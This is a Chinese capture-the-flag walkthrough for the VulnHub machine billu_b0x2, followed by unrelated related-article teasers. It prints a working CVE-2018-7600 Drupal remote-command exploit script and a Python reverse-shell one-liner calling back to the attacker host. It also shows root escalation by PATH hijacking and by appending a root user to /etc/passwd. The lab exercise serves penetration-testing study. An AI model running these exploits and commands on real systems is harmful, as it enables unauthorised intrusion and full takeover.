vulnhub靶场【billu系列】之billu_b0x2靶机

前言

靶机:billu_b0x2靶机,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/c524477461b0

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.10 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.10 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.10 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息探测

访问80端口界面,可以看到有搜索框,以及登录的

向下可以看到涉及到一个cms,为``drupal`,缅怀艾斯【火拳】

使用whatweb或者浏览器插件wappalyzer识别配置

whatweb http://192.168.10.10 -v

使用gobuster等工具进行爆破,发现就那么几个

gobuster dir -u http://192.168.10.10 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

把这些目录都访问,没发现什么关键信息,并且访问robots.txt文件,虽然有很多目录,但是访问后,并没效果

在访问到登录的界面时,发现有一个默认的用户名biLLu和密码hEx_it

以上面的用户名和密码尝试访问8080端口的界面,并尝试登录,发现并不行

没有了,信息结合一下。

网站采用drupal 8版本

目前,只有字典继续爆破,采用大字典,或者搜索有无历史漏洞

漏洞寻找及确定

使用searchsploit尝试搜索

searchsploit drupal 8.0

发现大部分都是msf的脚本,不过还是有三个不一样的,这里一个个测试,先测试44448.py

查看这个代码,发现关键信息,这个脚本是检测目标是否有cve-2018-7600漏洞的

下面发现关键代码,若存在会输出一个文件

执行脚本进行检测靶机,发现输出检测了,访问这个文件,确定有漏洞

漏洞利用

既然如此,可以修改这个脚本去执行一些命令。ok,现在修改payload,在原基础上,只改动了一点,接收命令

#!/usr/bin/env
import sys
import requests
import jsonprint ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')
command = input('Enter command (example: id):') proxies = {}
verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': command}r = requests.post(url, proxies=proxies, data=payload, verify=verify)
res = r.textjson_text=json.dumps(res,indent=4)
print(json_text)

那么构造一个反弹shell的命令,执行即可,测试多个命令,最终以python的反弹shell成功

export RHOST="192.168.10.6";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

可以看到成功获取到shell了,当然前面需要进行nc监听就没说

提权

再使用python加一层shell

python -c 'import pty;pty.spawn("/bin/bash")'

使用find寻找具有SUID权限的文件,发现一个陌生的明显的文件

find / -perm -4000 -print 2>/dev/null

使用file查看,发现是二进制可执行文件,并且该文件具有执行的权限

测试,发现靶机具有strings工具,那么直接查看这个文件,发现一些东西

这里可以自己执行文件测试一下,发现最后是有字符starting copy of root user files出现的。说明后面的命令会执行,也就是scp,并且注意,这里没有搞绝对路径,所以可以借助环境变量提权

cd /tmp
echo $PATH

那么修改环境变量

export PATH=/tmp:$PATH
echo $PATHecho "/bin/bash" > scp
chmod +x scp

然后执行脚本即可/opt/s

查看/etc/passwd的权限,发现该文件具有写权限的,那么就可以添加一个具有root权限的用户,需要构造

使用openssl生成密码

openssl passwd -salt 123 -1 123

#把x改为加密后的密码,root改为随便的用户名 
root:x:0:0:root:/root:/bin/bashpig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bashecho 'pig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bash' >> /etc/passwd

这时候直接切换就ok

当然还有其他的,比如查看内核版本,确定是否有内核漏洞,这个很大的概率是有的

uname -r
cat /etc/*release

使用searchsploit发现还是有不少的

这里就不测试了,还可以通过上传脚本去检测,就不一一测试了。

总结

该靶机主要考察点在于CVE-2018-7600的检测与使用,主要就是poc的构造,这里要清楚的知道

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/37414.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高性能边缘计算网关-高算力web组态PLC网关

高性能EG8200Pro边缘计算算力网关-超强处理能力 样机申请测试:免费测试超30天(https://www.iotrouter.com/prototype/) 产品主要特点和特色功能 设备概览与连接能力 设备型号:EG8200P。主要特点: 支持多种工业协议&am…

数据可信安全流通实战,隐语开源社区Meetup武汉站开放报名

隐语开源社区 Meetup 系列再出发!2025 年将以武汉为始发站,聚焦"技术赋能场景驱动",希望将先进技术深度融入数据要素流转的各个环节,推动其在实际应用场景中落地生根,助力释放数据要素的最大潜能&#xff01…

避坑指南 | 阿里云服务器centos7上MySQL部署优化指南

目录 1 检查阿里云是否安装mysql 1.1使用 rpm 命令 1.2检查 MySQL 服务状态 2 卸载mysql 2.1停止 MySQL 服务 2.2 检查已安装的 MySQL 包 2.3 卸载 MySQL 包 2.4 删除 MySQL 数据和配置文件 2.5 清理残留的依赖包 2.6 验证卸载 2.7 (可选)删除…

位运算--求二进制中1的个数

位运算–求二进制中1的个数 给定一个长度为 n 的数列,请你求出数列中每个数的二进制表示中 1 的个数。 输入格式 第一行包含整数 n。 第二行包含 n 个整数,表示整个数列。 输出格式 共一行,包含 n 个整数,其中的第 i 个数表…

Go语言的基础类型

一基础数据类型 一、布尔型(Bool) 定义:表示逻辑真 / 假,仅有两个值:true 和 false内存占用:1 字节使用场景:条件判断、逻辑运算 二、数值型(Numeric) 1. 整数类型&…

SpringBoot整合MQTT最详细版(亲测有效)

一、导入pom.xml依赖 <!--mqtt依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-integration</artifactId></dependency><dependency><groupId>org.springframework.in…

记一次发短信接口分析

忘记密码接口 数据包 GET /api/weatherforcast/user/send/17777777777 HTTP/2 Host: Cookie: SECKEY_ABVKd1GnERPtEFYSs7fL9W7VzoxAG0rjit7K8hAiMGIySpo522Wig70mdKRZQlvXNuqUTh9sBTWXG6XJ7miFZtA%3D%3D; Hm_lvt_018467e59f9d76a72cdbed870456819b1742445251,1742456927,1742…

dfs刷题排列问题 + 子集问题 + 组和问题总结

文章目录 一、排列问题全排列II题解代码 优美的排列题解代码 二、子集问题字母大小写全排列题解代码 找出所有子集的异或总和再求和题解代码 三、组合问题电话号码的字母组合题解代码 括号生成题解代码 组合题解代码 目标和题解代码 组合总和题解代码 总结 一、排列问题 全排列…

【AVRCP】蓝牙链路控制器(LC)与AVRCP互操作性要求深度解析

目录 一 、Link Controller&#xff08;LC&#xff09;概述 1.1 LC的定义与功能 1.2 LC在蓝牙技术中的重要性 二、Link Controller&#xff08;LC&#xff09;互操作性要求 2.1 互操作性要求概述 2.2 物理层互操作性要求 2.3 链路管理互操作性要求 2.4 其他互操作性要求…

go + vscode + cline +qwen 快速构建 MCP Server

go 编译自定义 mcp tool current time tool 代码 package mainimport ("context""fmt""time""github.com/mark3labs/mcp-go/mcp""github.com/mark3labs/mcp-go/server" )func main() {// Create MCP servers : server.New…

C语言-动态内存管理

1.为什么要有动态内存分配 我们现如今已经掌握的内存开辟方式有 int main() {int a 0;int arr[30] { 0 };return 0; } 这两种方式&#xff0c;但是这种开辟空间的方式有两个特点&#xff1a; 1.空间开辟大小是固定的 2.数组在申明的时候&#xff0c;必须指定数组的长度&…

Java复习

在开篇前首先申明一下&#xff0c;本文虽不够系统&#xff0c;但复习够用&#xff0c;尤其是快速回忆( •̀ ω •́ )✧与提问。 主打一个速度。 本文将会从Java的基础语法、面向对象、API、字符串、集合、进阶...等六方面讲起。 一、Java的基础语法&#xff1a; 1、Java入门…

Vue+ElementUI 字符串数组标签化展示组件

一. 效果 数据&#xff1a;‘[“苹果”,“香蕉”]’ 可添加&#xff0c;编辑&#xff0c;删除。 二. 组件源码 <template><div><div v-for"(item, index) in items":key"index"><el-inputv-if"inputVisible && ed…

识别并脱敏上传到deepseek/chatgpt的文本文件中的身份证/手机号

本文将介绍一种简单高效的方法解决用户在上传文件到DeepSeek、ChatGPT,文心一言,AI等大语言模型平台过程中的身份证号以及手机号等敏感数据识别和脱敏问题。 DeepSeek、ChatGPT,Qwen,Claude等AI平台工具快速的被接受和使用,用户每天上传的文本数据中潜藏着大量敏感信息,…

UR5e机器人位姿

UR5e 作为一款 6 自由度协作机器人&#xff0c;其末端执行器的位姿&#xff08;位置与姿态的组合&#xff09;控制是实现精准操作的核心。在笛卡尔坐标系中&#xff0c;位姿通常用齐次变换矩阵表示&#xff0c;包含末端的三维位置&#xff08;x, y, z&#xff09;和三维姿态&am…

小白闯AI:Llama模型Lora中文微调实战

文章目录 0、缘起一、如何对大模型进行微调二、模型微调实战0、准备环境1、准备数据2、模型微调第一步、获取基础的预训练模型第二步:预处理数据集第三步:进行模型微调第四步:将微调后的模型保存到本地4、模型验证5、Ollama集成部署6、结果测试三、使用总结AI是什么?他应该…

Linux基础开发工具——gdb/cgdb(7)

文章目录 前言一、生成可调试文件二、调试打开与关闭启动调试l 查看代码退出调试运行与断点单行与单步 三、查看变量bt 查看调用堆栈p 临时查看变量display 常显示变量 四、快速跳转until 指定行finish 函数c 断点 五、其他指令disable 断点使能set var 设置条件ptype 查看变量…

Python 3.13.2安装教程(安装包)Python 3.13.2 快速安装指南

文章目录 前言一 、Python 3.13.2下载二、Python 3.13.2安装教程1.运行安装程序2.选择安装方式3.自定义安装选项4.开始安装5.安装完成6.打开程序7.验证安装 前言 Python 作为一门通用编程语言&#xff0c;在全球拥有庞大的用户群体。其简洁易读的语法和丰富的库&#xff0c;使…

游戏MOD伴随盗号风险,仿冒网站借“风灵月影”窃密【火绒企业版V2.0】

游戏MOD&#xff08;即游戏修改器&#xff09;是一种能够对游戏进行修改或增强的程序&#xff0c;因其能够提升游戏体验&#xff0c;在玩家群体中拥有一定的市场。然而&#xff0c;这类程序大多由第三方开发者制作&#xff0c;容易缺乏完善的安全保障机制&#xff0c;这就为不法…

【读点论文】Chain Replication for Supporting High Throughput and Availability

在分布式系统中&#xff0c;强一致性往往和高可用、高吞吐是矛盾的。比如传统的关系型数据库&#xff0c;其保证了强一致性&#xff0c;但往往牺牲了可用性和吞吐量。而像 NoSQL 数据库&#xff0c;虽然其吞吐量、和扩展性很高&#xff0c;但往往只支持最终一致性&#xff0c;无…